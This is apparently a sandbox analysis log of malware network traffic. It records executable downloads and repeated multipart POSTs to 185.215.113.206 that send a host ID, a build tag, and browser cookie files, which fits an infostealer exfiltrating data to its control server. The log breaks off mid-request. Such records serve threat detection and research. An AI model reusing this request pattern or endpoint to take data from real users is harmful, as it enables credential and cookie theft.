00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 28 Nov 2024 16:24:55 GMTContent-Type: application/octet-streamContent-Length: 1865728Last-Modified: Thu, 28 Nov 2024 16:02:26 GMTConnection: keep-aliveETag: "67489412-1c7800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 10 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 4a 00 00 04 00 00 73 c0 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 fb 49 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 fb 49 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 29 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 70 69 69 69 67 7a 71 00 60 19 00 00 a0 30 00 00 5c 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 69 7a 62 63 79 7a 64 00 10 00 00 00 00 4a 00 00 04 00 00 00 52 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 4a 00 00 22 00 00 00 56 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 28 Nov 2024 16:26:10 GMTContent-Type: application/octet-streamContent-Length: 43115Last-Modified: Thu, 28 Nov 2024 14:22:59 GMTConnection: keep-aliveETag: "67487cc3-a86b"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 31 20 81 e9 50 4e d2 e9 50 4e d2 e9 50 4e d2 2a 5f 11 d2 eb 50 4e d2 e9 50 4f d2 4a 50 4e d2 2a 5f 13 d2 e6 50 4e d2 bd 73 7e d2 e3 50 4e d2 2e 56 48 d2 e8 50 4e d2 52 69 63 68 e9 50 4e d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 fb 43 08 66 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 6a 00 00 00 d2 02 00 00 08 00 00 52 35 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 60 04 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 08 86 00 00 a0 00 00 00 00 50 04 00 50 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f8 68 00 00 00 10 00 00 00 6a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 64 14 00 00 00 80 00 00 00 16 00 00 00 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 a8 02 00 00 a0 00 00 00 06 00 00 00 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 00 01 00 00 50 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 50 0a 00 00 00 50 04 00 00 0c 00 00 00 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 28 Nov 2024 16:26:16 GMTContent-Type: application/octet-streamContent-Length: 1008128Last-Modified: Thu, 28 Nov 2024 14:58:53 GMTConnection: keep-aliveETag: "6748852d-f6200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 3f 33 48 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ac 09 00 00 08 01 00 00 00 00 00 ec 9d 08 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 0f 00 00 06 00 00 00 00 00 00 03 00 40 82 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 80 3b 0a 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 0a 00 ac 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 08 0a 00 18 00 00 00 b0 d4 09 00 c0 00 00 00 00 00 00 00 00 00 00 00 80 3d 0a 00 b0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 4a aa 09 00 00 10 00 00 00 ac 09 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 2c 90 00 00 00 c0 09 00 00 92 00 00 00 b2 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 45 00 00 00 60 0a 00 00 22 00 00 00 44 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 08 00 00 00 00 b0 0a 00 00 02 00 00 00 66 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 09 00 00 00 00 c0 0a 00 00 02 00 00 00 68 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 ac 4e 00 00 00 d0 0a 00 00 50 00 00 00 6a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 a8 04 00 00 20 0b 00 00 a8 04 00 00 ba 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKJJJDHDGDAAKECAKJDHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 38 33 30 43 36 43 45 33 46 38 39 35 31 34 37 30 31 38 32 35 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 2d 2d 0d 0a Data Ascii: ------CBKJJJDHDGDAAKECAKJDContent-Disposition: form-data; name="hwid"F830C6CE3F89514701825------CBKJJJDHDGDAAKECAKJDContent-Disposition: form-data; name="build"mars------CBKJJJDHDGDAAKECAKJD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKKFHIEGDHJKECAAKKEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 30 66 31 35 33 37 32 30 36 63 37 61 63 33 64 34 31 34 30 64 33 36 64 39 30 35 37 31 38 61 30 35 36 30 30 63 38 37 30 63 31 32 63 62 33 33 61 30 64 31 33 35 35 36 36 36 61 35 31 34 31 30 39 64 38 61 37 35 66 35 35 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 2d 2d 0d 0a Data Ascii: ------DBKKFHIEGDHJKECAAKKEContent-Disposition: form-data; name="token"70f1537206c7ac3d4140d36d905718a05600c870c12cb33a0d1355666a514109d8a75f55------DBKKFHIEGDHJKECAAKKEContent-Disposition: form-data; name="message"browsers------DBKKFHIEGDHJKECAAKKE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKKKEHJKFCFCBFHIIDGDHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 30 66 31 35 33 37 32 30 36 63 37 61 63 33 64 34 31 34 30 64 33 36 64 39 30 35 37 31 38 61 30 35 36 30 30 63 38 37 30 63 31 32 63 62 33 33 61 30 64 31 33 35 35 36 36 36 61 35 31 34 31 30 39 64 38 61 37 35 66 35 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 2d 2d 0d 0a Data Ascii: ------KKKKEHJKFCFCBFHIIDGDContent-Disposition: form-data; name="token"70f1537206c7ac3d4140d36d905718a05600c870c12cb33a0d1355666a514109d8a75f55------KKKKEHJKFCFCBFHIIDGDContent-Disposition: form-data; name="message"plugins------KKKKEHJKFCFCBFHIIDGD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFCFBKFCFBFIDGCGDHJHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 30 66 31 35 33 37 32 30 36 63 37 61 63 33 64 34 31 34 30 64 33 36 64 39 30 35 37 31 38 61 30 35 36 30 30 63 38 37 30 63 31 32 63 62 33 33 61 30 64 31 33 35 35 36 36 36 61 35 31 34 31 30 39 64 38 61 37 35 66 35 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 2d 2d 0d 0a Data Ascii: ------KKFCFBKFCFBFIDGCGDHJContent-Disposition: form-data; name="token"70f1537206c7ac3d4140d36d905718a05600c870c12cb33a0d1355666a514109d8a75f55------KKFCFBKFCFBFIDGCGDHJContent-Disposition: form-data; name="message"fplugins------KKFCFBKFCFBFIDGCGDHJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEGHJEGIEBFIJJKFIIIJHost: 185.215.113.206Content-Length: 6883Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFHJDAEHIEHJJKFBGDAHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 30 66 31 35 33 37 32 30 36 63 37 61 63 33 64 34 31 34 30 64 33 36 64 39 30 35 37 31 38 61 30 35 36 30 30 63 38 37 30 63 31 32 63 62 33 33 61 30 64 31 33 35 35 36 36 36 61 35 31 34 31 30 39 64 38 61 37 35 66 35 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 2d 2d 0d 0a Data Ascii: ------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="token"70f1537206c7ac3d4140d36d905718a05600c870c12cb33a0d1355666a514109d8a75f55------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------KKFHJDAEHIEHJJKFBGDA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEHIDHDAKJDHJKEBFIEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 30 66 31 35 33 37 32 30 36 63 37 61 63 33 64 34 31 34 30 64 33 36 64 39 30 35 37 31 38 61 30 35 36 30 30 63 38 37 30 63 31 32 63 62 33 33 61 30 64 31 33 35 35 36 36 36 61 35 31 34 31 30 39 64 38 61 37 35 66 35 35 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 2d 2d 0d 0a Data Ascii: ------IJEHIDHDAKJDHJKEBFIEContent-Disposition: form-data; name="token"70f1537206c7ac3d4140d36d905718a05600c870c12cb33a0d1355666a514109d8a75f55------IJEHIDHDAKJDHJKEBFIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJEHIDHDAKJDHJKEBFIEContent-Disposition: form-data; name="file"------IJEHIDHDAKJDHJKEBFIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIJEBFCGDAAKFHIDBFIHost: 185.215.113.206Content-Length: 431Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 49 4a 45 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 30 66 31 35 33 37 32 30 36 63 37 61 63 33 64 34 31 34 30 64 33 36 64 39 30 35 37 31 38 61 30 35 36 30 30 63 38 37 30 63 31 32 63 62 33 33 61 30 64 31 33 35 35 36 36 36 61 35 31 34 31 30 39 64 38 61 37 35 66 35 35 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 4a 45 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 67 52 57 52 6e 5a 56 39 45 5a 57 5a 68 64 57 78 30 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 4a 45 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 4a 45 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 2d 2d 0d 0a Data Ascii: ------CFIJEBFCGDAAKFHIDBFIContent-Disposition: form-data; name="token"70f1537206c7ac3d4140d36d905718a05600c870c12cb33a0d1355666a514109d8a75f55------CFIJEBFCGDAAKFHIDBFIContent-Disposition: form-data; name="file_name"Y29va2llc1xNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==------CFIJEBFCGDAAKFHIDBFIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------CFIJEBFCGDAAKFHIDBFI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJDAEGCAFIIDGDGCGIJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 30 66 31 35 33 37 32 30 36 63 37 61 63 33 64 34 31 34 30 64 33 36 64 39 30 35 37 31 38 61 30 35 36 30 30 63 38 37 30 63 31 32 63 62 33 33 61 30 64 31 33 35 35 36 36 36 61 35 31 34 31 30 39 64 38 61 37 35 66 35 35 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 